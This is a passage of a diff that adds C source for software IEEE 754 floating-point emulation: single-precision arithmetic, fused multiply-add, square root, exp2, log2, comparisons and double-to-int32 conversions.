float32_squash_input_denormal(b STATUS_VAR); + + aSign = extractFloat32Sign( a ); + bSign = extractFloat32Sign( b ); + if ( aSign == bSign ) { + return addFloat32Sigs( a, b, aSign STATUS_VAR); + } + else { + return subFloat32Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the single-precision floating-point values +| `a' and `b'. The operation is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float32_sub( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + aSign = extractFloat32Sign( a ); + bSign = extractFloat32Sign( b ); + if ( aSign == bSign ) { + return subFloat32Sigs( a, b, aSign STATUS_VAR ); + } + else { + return addFloat32Sigs( a, b, aSign STATUS_VAR ); + } + +} + +/*---------------------------------------------------------------------------- +| Returns the result of multiplying the single-precision floating-point values +| `a' and `b'. The operation is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float32_mul( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int_fast16_t aExp, bExp, zExp; + uint32_t aSig, bSig; + uint64_t zSig64; + uint32_t zSig; + + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + bSig = extractFloat32Frac( b ); + bExp = extractFloat32Exp( b ); + bSign = extractFloat32Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0xFF ) { + if ( aSig || ( ( bExp == 0xFF ) && bSig ) ) { + return propagateFloat32NaN( a, b STATUS_VAR ); + } + if ( ( bExp | bSig ) == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + return packFloat32( zSign, 0xFF, 0 ); + } + if ( bExp == 0xFF ) { + if ( bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + if ( ( aExp | aSig ) == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + return packFloat32( zSign, 0xFF, 0 ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat32( zSign, 0, 0 ); + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + } + if ( bExp == 0 ) { + if ( bSig == 0 ) return packFloat32( zSign, 0, 0 ); + normalizeFloat32Subnormal( bSig, &bExp, &bSig ); + } + zExp = aExp + bExp - 0x7F; + aSig = ( aSig | 0x00800000 )<<7; + bSig = ( bSig | 0x00800000 )<<8; + shift64RightJamming( ( (uint64_t) aSig ) * bSig, 32, &zSig64 ); + zSig = (uint32_t)zSig64; + if ( 0 <= (int32_t) ( zSig<<1 ) ) { + zSig <<= 1; + --zExp; + } + return roundAndPackFloat32( zSign, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of dividing the single-precision floating-point value `a' +| by the corresponding value `b'. The operation is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float32_div( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign, zSign; + int_fast16_t aExp, bExp, zExp; + uint32_t aSig, bSig, zSig; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + bSig = extractFloat32Frac( b ); + bExp = extractFloat32Exp( b ); + bSign = extractFloat32Sign( b ); + zSign = aSign ^ bSign; + if ( aExp == 0xFF ) { + if ( aSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + if ( bExp == 0xFF ) { + if ( bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + return packFloat32( zSign, 0xFF, 0 ); + } + if ( bExp == 0xFF ) { + if ( bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + return packFloat32( zSign, 0, 0 ); + } + if ( bExp == 0 ) { + if ( bSig == 0 ) { + if ( ( aExp | aSig ) == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + float_raise( float_flag_divbyzero STATUS_VAR); + return packFloat32( zSign, 0xFF, 0 ); + } + normalizeFloat32Subnormal( bSig, &bExp, &bSig ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat32( zSign, 0, 0 ); + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + } + zExp = aExp - bExp + 0x7D; + aSig = ( aSig | 0x00800000 )<<7; + bSig = ( bSig | 0x00800000 )<<8; + if ( bSig <= ( aSig + aSig ) ) { + aSig >>= 1; + ++zExp; + } + zSig = ( ( (uint64_t) aSig )<<32 ) / bSig; + if ( ( zSig & 0x3F ) == 0 ) { + zSig |= ( (uint64_t) bSig * zSig != ( (uint64_t) aSig )<<32 ); + } + return roundAndPackFloat32( zSign, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the remainder of the single-precision floating-point value `a' +| with respect to the corresponding value `b'. The operation is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float32_rem( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, zSign; + int_fast16_t aExp, bExp, expDiff; + uint32_t aSig, bSig; + uint32_t q; + uint64_t aSig64, bSig64, q64; + uint32_t alternateASig; + int32_t sigMean; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + bSig = extractFloat32Frac( b ); + bExp = extractFloat32Exp( b ); + if ( aExp == 0xFF ) { + if ( aSig || ( ( bExp == 0xFF ) && bSig ) ) { + return propagateFloat32NaN( a, b STATUS_VAR ); + } + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + if ( bExp == 0xFF ) { + if ( bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + if ( bSig == 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + normalizeFloat32Subnormal( bSig, &bExp, &bSig ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return a; + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + } + expDiff = aExp - bExp; + aSig |= 0x00800000; + bSig |= 0x00800000; + if ( expDiff < 32 ) { + aSig <<= 8; + bSig <<= 8; + if ( expDiff < 0 ) { + if ( expDiff < -1 ) return a; + aSig >>= 1; + } + q = ( bSig <= aSig ); + if ( q ) aSig -= bSig; + if ( 0 < expDiff ) { + q = ( ( (uint64_t) aSig )<<32 ) / bSig; + q >>= 32 - expDiff; + bSig >>= 2; + aSig = ( ( aSig>>1 )<<( expDiff - 1 ) ) - bSig * q; + } + else { + aSig >>= 2; + bSig >>= 2; + } + } + else { + if ( bSig <= aSig ) aSig -= bSig; + aSig64 = ( (uint64_t) aSig )<<40; + bSig64 = ( (uint64_t) bSig )<<40; + expDiff -= 64; + while ( 0 < expDiff ) { + q64 = estimateDiv128To64( aSig64, 0, bSig64 ); + q64 = ( 2 < q64 ) ? q64 - 2 : 0; + aSig64 = 0- ( ( bSig * q64 )<<38 ); + expDiff -= 62; + } + expDiff += 64; + q64 = estimateDiv128To64( aSig64, 0, bSig64 ); + q64 = ( 2 < q64 ) ? q64 - 2 : 0; + q = (uint32_t)(q64>>( 64 - expDiff )); + bSig <<= 6; + aSig = ( ( aSig64>>33 )<<( expDiff - 1 ) ) - bSig * q; + } + do { + alternateASig = aSig; + ++q; + aSig -= bSig; + } while ( 0 <= (int32_t) aSig ); + sigMean = aSig + alternateASig; + if ( ( sigMean < 0 ) || ( ( sigMean == 0 ) && ( q & 1 ) ) ) { + aSig = alternateASig; + } + zSign = ( (int32_t) aSig < 0 ); + if ( zSign ) aSig = 0- aSig; + return normalizeRoundAndPackFloat32( aSign ^ zSign, bExp, aSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of multiplying the single-precision floating-point values +| `a' and `b' then adding 'c', with no intermediate rounding step after the +| multiplication. The operation is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic 754-2008. +| The flags argument allows the caller to select negation of the +| addend, the intermediate product, or the final result. (The difference +| between this and having the caller do a separate negation is that negating +| externally will flip the sign bit on NaNs.) +*----------------------------------------------------------------------------*/ + +float32 float32_muladd(float32 a, float32 b, float32 c, int flags STATUS_PARAM) +{ + flag aSign, bSign, cSign, zSign; + int_fast16_t aExp, bExp, cExp, pExp, zExp, expDiff; + uint32_t aSig, bSig, cSig; + flag pInf, pZero, pSign; + uint64_t pSig64, cSig64, zSig64; + uint32_t pSig; + int shiftcount; + flag signflip, infzero; + + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + c = float32_squash_input_denormal(c STATUS_VAR); + aSig = extractFloat32Frac(a); + aExp = extractFloat32Exp(a); + aSign = extractFloat32Sign(a); + bSig = extractFloat32Frac(b); + bExp = extractFloat32Exp(b); + bSign = extractFloat32Sign(b); + cSig = extractFloat32Frac(c); + cExp = extractFloat32Exp(c); + cSign = extractFloat32Sign(c); + + infzero = ((aExp == 0 && aSig == 0 && bExp == 0xff && bSig == 0) || + (aExp == 0xff && aSig == 0 && bExp == 0 && bSig == 0)); + + /* It is implementation-defined whether the cases of (0,inf,qnan) + * and (inf,0,qnan) raise InvalidOperation or not (and what QNaN + * they return if they do), so we have to hand this information + * off to the target-specific pick-a-NaN routine. + */ + if (((aExp == 0xff) && aSig) || + ((bExp == 0xff) && bSig) || + ((cExp == 0xff) && cSig)) { + return propagateFloat32MulAddNaN(a, b, c, infzero STATUS_VAR); + } + + if (infzero) { + float_raise(float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + + if (flags & float_muladd_negate_c) { + cSign ^= 1; + } + + signflip = (flags & float_muladd_negate_result) ? 1 : 0; + + /* Work out the sign and type of the product */ + pSign = aSign ^ bSign; + if (flags & float_muladd_negate_product) { + pSign ^= 1; + } + pInf = (aExp == 0xff) || (bExp == 0xff); + pZero = ((aExp | aSig) == 0) || ((bExp | bSig) == 0); + + if (cExp == 0xff) { + if (pInf && (pSign ^ cSign)) { + /* addition of opposite-signed infinities => InvalidOperation */ + float_raise(float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + /* Otherwise generate an infinity of the same sign */ + return packFloat32(cSign ^ signflip, 0xff, 0); + } + + if (pInf) { + return packFloat32(pSign ^ signflip, 0xff, 0); + } + + if (pZero) { + if (cExp == 0) { + if (cSig == 0) { + /* Adding two exact zeroes */ + if (pSign == cSign) { + zSign = pSign; + } else if (STATUS(float_rounding_mode) == float_round_down) { + zSign = 1; + } else { + zSign = 0; + } + return packFloat32(zSign ^ signflip, 0, 0); + } + /* Exact zero plus a denorm */ + if (STATUS(flush_to_zero)) { + float_raise(float_flag_output_denormal STATUS_VAR); + return packFloat32(cSign ^ signflip, 0, 0); + } + } + /* Zero plus something non-zero : just return the something */ + if (flags & float_muladd_halve_result) { + if (cExp == 0) { + normalizeFloat32Subnormal(cSig, &cExp, &cSig); + } + /* Subtract one to halve, and one again because roundAndPackFloat32 + * wants one less than the true exponent. + */ + cExp -= 2; + cSig = (cSig | 0x00800000) << 7; + return roundAndPackFloat32(cSign ^ signflip, cExp, cSig STATUS_VAR); + } + return packFloat32(cSign ^ signflip, cExp, cSig); + } + + if (aExp == 0) { + normalizeFloat32Subnormal(aSig, &aExp, &aSig); + } + if (bExp == 0) { + normalizeFloat32Subnormal(bSig, &bExp, &bSig); + } + + /* Calculate the actual result a * b + c */ + + /* Multiply first; this is easy. */ + /* NB: we subtract 0x7e where float32_mul() subtracts 0x7f + * because we want the true exponent, not the "one-less-than" + * flavour that roundAndPackFloat32() takes. + */ + pExp = aExp + bExp - 0x7e; + aSig = (aSig | 0x00800000) << 7; + bSig = (bSig | 0x00800000) << 8; + pSig64 = (uint64_t)aSig * bSig; + if ((int64_t)(pSig64 << 1) >= 0) { + pSig64 <<= 1; + pExp--; + } + + zSign = pSign ^ signflip; + + /* Now pSig64 is the significand of the multiply, with the explicit bit in + * position 62. + */ + if (cExp == 0) { + if (!cSig) { + /* Throw out the special case of c being an exact zero now */ + shift64RightJamming(pSig64, 32, &pSig64); + pSig = (uint32_t)pSig64; + if (flags & float_muladd_halve_result) { + pExp--; + } + return roundAndPackFloat32(zSign, pExp - 1, + pSig STATUS_VAR); + } + normalizeFloat32Subnormal(cSig, &cExp, &cSig); + } + + cSig64 = (uint64_t)cSig << (62 - 23); + cSig64 |= LIT64(0x4000000000000000); + expDiff = pExp - cExp; + + if (pSign == cSign) { + /* Addition */ + if (expDiff > 0) { + /* scale c to match p */ + shift64RightJamming(cSig64, expDiff, &cSig64); + zExp = pExp; + } else if (expDiff < 0) { + /* scale p to match c */ + shift64RightJamming(pSig64, -expDiff, &pSig64); + zExp = cExp; + } else { + /* no scaling needed */ + zExp = cExp; + } + /* Add significands and make sure explicit bit ends up in posn 62 */ + zSig64 = pSig64 + cSig64; + if ((int64_t)zSig64 < 0) { + shift64RightJamming(zSig64, 1, &zSig64); + } else { + zExp--; + } + } else { + /* Subtraction */ + if (expDiff > 0) { + shift64RightJamming(cSig64, expDiff, &cSig64); + zSig64 = pSig64 - cSig64; + zExp = pExp; + } else if (expDiff < 0) { + shift64RightJamming(pSig64, -expDiff, &pSig64); + zSig64 = cSig64 - pSig64; + zExp = cExp; + zSign ^= 1; + } else { + zExp = pExp; + if (cSig64 < pSig64) { + zSig64 = pSig64 - cSig64; + } else if (pSig64 < cSig64) { + zSig64 = cSig64 - pSig64; + zSign ^= 1; + } else { + /* Exact zero */ + zSign = signflip; + if (STATUS(float_rounding_mode) == float_round_down) { + zSign ^= 1; + } + return packFloat32(zSign, 0, 0); + } + } + --zExp; + /* Normalize to put the explicit bit back into bit 62. */ + shiftcount = countLeadingZeros64(zSig64) - 1; + zSig64 <<= shiftcount; + zExp -= shiftcount; + } + if (flags & float_muladd_halve_result) { + zExp--; + } + + shift64RightJamming(zSig64, 32, &zSig64); + return roundAndPackFloat32(zSign, zExp, (uint32_t)zSig64 STATUS_VAR); +} + + +/*---------------------------------------------------------------------------- +| Returns the square root of the single-precision floating-point value `a'. +| The operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float32_sqrt( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, zExp; + uint32_t aSig, zSig; + uint64_t rem, term; + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + if ( aExp == 0xFF ) { + if ( aSig ) return propagateFloat32NaN( a, float32_zero STATUS_VAR ); + if ( ! aSign ) return a; + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + if ( aSign ) { + if ( ( aExp | aSig ) == 0 ) return a; + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return float32_zero; + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + } + zExp = ( ( aExp - 0x7F )>>1 ) + 0x7E; + aSig = ( aSig | 0x00800000 )<<8; + zSig = estimateSqrt32( aExp, aSig ) + 2; + if ( ( zSig & 0x7F ) <= 5 ) { + if ( zSig < 2 ) { + zSig = 0x7FFFFFFF; + goto roundAndPack; + } + aSig >>= aExp & 1; + term = ( (uint64_t) zSig ) * zSig; + rem = ( ( (uint64_t) aSig )<<32 ) - term; + while ( (int64_t) rem < 0 ) { + --zSig; + rem += ( ( (uint64_t) zSig )<<1 ) | 1; + } + zSig |= ( rem != 0 ); + } + shift32RightJamming( zSig, 1, &zSig ); + roundAndPack: + return roundAndPackFloat32( 0, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the binary exponential of the single-precision floating-point value +| `a'. The operation is performed according to the IEC/IEEE Standard for +| Binary Floating-Point Arithmetic. +| +| Uses the following identities: +| +| 1. ------------------------------------------------------------------------- +| x x*ln(2) +| 2 = e +| +| 2. ------------------------------------------------------------------------- +| 2 3 4 5 n +| x x x x x x x +| e = 1 + --- + --- + --- + --- + --- + ... + --- + ... +| 1! 2! 3! 4! 5! n! +*----------------------------------------------------------------------------*/ + +static const float64 float32_exp2_coefficients[15] = +{ + const_float64( 0x3ff0000000000000ll ), /* 1 */ + const_float64( 0x3fe0000000000000ll ), /* 2 */ + const_float64( 0x3fc5555555555555ll ), /* 3 */ + const_float64( 0x3fa5555555555555ll ), /* 4 */ + const_float64( 0x3f81111111111111ll ), /* 5 */ + const_float64( 0x3f56c16c16c16c17ll ), /* 6 */ + const_float64( 0x3f2a01a01a01a01all ), /* 7 */ + const_float64( 0x3efa01a01a01a01all ), /* 8 */ + const_float64( 0x3ec71de3a556c734ll ), /* 9 */ + const_float64( 0x3e927e4fb7789f5cll ), /* 10 */ + const_float64( 0x3e5ae64567f544e4ll ), /* 11 */ + const_float64( 0x3e21eed8eff8d898ll ), /* 12 */ + const_float64( 0x3de6124613a86d09ll ), /* 13 */ + const_float64( 0x3da93974a8c07c9dll ), /* 14 */ + const_float64( 0x3d6ae7f3e733b81fll ), /* 15 */ +}; + +float32 float32_exp2( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint32_t aSig; + float64 r, x, xn; + int i; + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + + if ( aExp == 0xFF) { + if ( aSig ) return propagateFloat32NaN( a, float32_zero STATUS_VAR ); + return (aSign) ? float32_zero : a; + } + if (aExp == 0) { + if (aSig == 0) return float32_one; + } + + float_raise( float_flag_inexact STATUS_VAR); + + /* ******************************* */ + /* using float64 for approximation */ + /* ******************************* */ + x = float32_to_float64(a STATUS_VAR); + x = float64_mul(x, float64_ln2 STATUS_VAR); + + xn = x; + r = float64_one; + for (i = 0 ; i < 15 ; i++) { + float64 f; + + f = float64_mul(xn, float32_exp2_coefficients[i] STATUS_VAR); + r = float64_add(r, f STATUS_VAR); + + xn = float64_mul(xn, x STATUS_VAR); + } + + return float64_to_float32(r, status); +} + +/*---------------------------------------------------------------------------- +| Returns the binary log of the single-precision floating-point value `a'. +| The operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ +float32 float32_log2( float32 a STATUS_PARAM ) +{ + flag aSign, zSign; + int_fast16_t aExp; + uint32_t aSig, zSig, i; + + a = float32_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat32( 1, 0xFF, 0 ); + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + } + if ( aSign ) { + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + if ( aExp == 0xFF ) { + if ( aSig ) return propagateFloat32NaN( a, float32_zero STATUS_VAR ); + return a; + } + + aExp -= 0x7F; + aSig |= 0x00800000; + zSign = aExp < 0; + zSig = aExp << 23; + + for (i = 1 << 22; i > 0; i >>= 1) { + aSig = ( (uint64_t)aSig * aSig ) >> 23; + if ( aSig & 0x01000000 ) { + aSig >>= 1; + zSig |= i; + } + } + + if ( zSign ) + zSig = 0-zSig; + + return normalizeRoundAndPackFloat32( zSign, 0x85, zSig STATUS_VAR ); +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is equal to +| the corresponding value `b', and 0 otherwise. The invalid exception is +| raised if either operand is a NaN. Otherwise, the comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_eq( float32 a, float32 b STATUS_PARAM ) +{ + uint32_t av, bv; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + av = float32_val(a); + bv = float32_val(b); + return ( av == bv ) || ( (uint32_t) ( ( av | bv )<<1 ) == 0 ); +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is less than +| or equal to the corresponding value `b', and 0 otherwise. The invalid +| exception is raised if either operand is a NaN. The comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_le( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint32_t av, bv; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign = extractFloat32Sign( a ); + bSign = extractFloat32Sign( b ); + av = float32_val(a); + bv = float32_val(b); + if ( aSign != bSign ) return aSign || ( (uint32_t) ( ( av | bv )<<1 ) == 0 ); + return ( av == bv ) || ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is less than +| the corresponding value `b', and 0 otherwise. The invalid exception is +| raised if either operand is a NaN. The comparison is performed according +| to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_lt( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint32_t av, bv; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign = extractFloat32Sign( a ); + bSign = extractFloat32Sign( b ); + av = float32_val(a); + bv = float32_val(b); + if ( aSign != bSign ) return aSign && ( (uint32_t) ( ( av | bv )<<1 ) != 0 ); + return ( av != bv ) && ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point values `a' and `b' cannot +| be compared, and 0 otherwise. The invalid exception is raised if either +| operand is a NaN. The comparison is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_unordered( float32 a, float32 b STATUS_PARAM ) +{ + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 1; + } + return 0; +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is equal to +| the corresponding value `b', and 0 otherwise. Quiet NaNs do not cause an +| exception. The comparison is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_eq_quiet( float32 a, float32 b STATUS_PARAM ) +{ + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + if ( float32_is_signaling_nan( a ) || float32_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + return ( float32_val(a) == float32_val(b) ) || + ( (uint32_t) ( ( float32_val(a) | float32_val(b) )<<1 ) == 0 ); +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is less than or +| equal to the corresponding value `b', and 0 otherwise. Quiet NaNs do not +| cause an exception. Otherwise, the comparison is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_le_quiet( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint32_t av, bv; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + if ( float32_is_signaling_nan( a ) || float32_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloat32Sign( a ); + bSign = extractFloat32Sign( b ); + av = float32_val(a); + bv = float32_val(b); + if ( aSign != bSign ) return aSign || ( (uint32_t) ( ( av | bv )<<1 ) == 0 ); + return ( av == bv ) || ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is less than +| the corresponding value `b', and 0 otherwise. Quiet NaNs do not cause an +| exception. Otherwise, the comparison is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_lt_quiet( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint32_t av, bv; + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + if ( float32_is_signaling_nan( a ) || float32_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloat32Sign( a ); + bSign = extractFloat32Sign( b ); + av = float32_val(a); + bv = float32_val(b); + if ( aSign != bSign ) return aSign && ( (uint32_t) ( ( av | bv )<<1 ) != 0 ); + return ( av != bv ) && ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point values `a' and `b' cannot +| be compared, and 0 otherwise. Quiet NaNs do not cause an exception. The +| comparison is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float32_unordered_quiet( float32 a, float32 b STATUS_PARAM ) +{ + a = float32_squash_input_denormal(a STATUS_VAR); + b = float32_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat32Exp( a ) == 0xFF ) && extractFloat32Frac( a ) ) + || ( ( extractFloat32Exp( b ) == 0xFF ) && extractFloat32Frac( b ) ) + ) { + if ( float32_is_signaling_nan( a ) || float32_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 1; + } + return 0; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the 32-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| positive integer is returned. Otherwise, if the conversion overflows, the +| largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int32 float64_to_int32( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint64_t aSig; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( ( aExp == 0x7FF ) && aSig ) aSign = 0; + if ( aExp ) aSig |= LIT64( 0x0010000000000000 ); + shiftCount = 0x42C - aExp; + if ( 0 < shiftCount ) shift64RightJamming( aSig, shiftCount, &aSig ); + return roundAndPackInt32( aSign, aSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point value +| `a' to the 32-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. +| If `a' is a NaN, the largest positive integer is returned. Otherwise, if +| the conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int32 float64_to_int32_round_to_zero( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint64_t aSig, savedASig; + int32_t z; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( 0x41E < aExp ) { + if ( ( aExp == 0x7FF ) && aSig ) aSign = 0; + goto invalid; + } + else if ( aExp < 0x3FF ) { + if ( aExp || aSig ) STATUS(float_exception_flags) |= float_flag_inexact; + return 0; + } + aSig |= LIT64( 0x0010000000000000 ); + shiftCount = 0x433 - aExp; + savedASig = aSig; + aSig >>= shiftCount; + z = (int32_t)aSig; + if ( aSign && (z != 0x80000000)) z = - z; + if ( ( z < 0 ) ^ aSign ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + return aSign ? (int32_t) 0x80000000 : 0x7FFFFFFF; + } + if ( ( aSig<<shiftCount ) != savedASig ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns 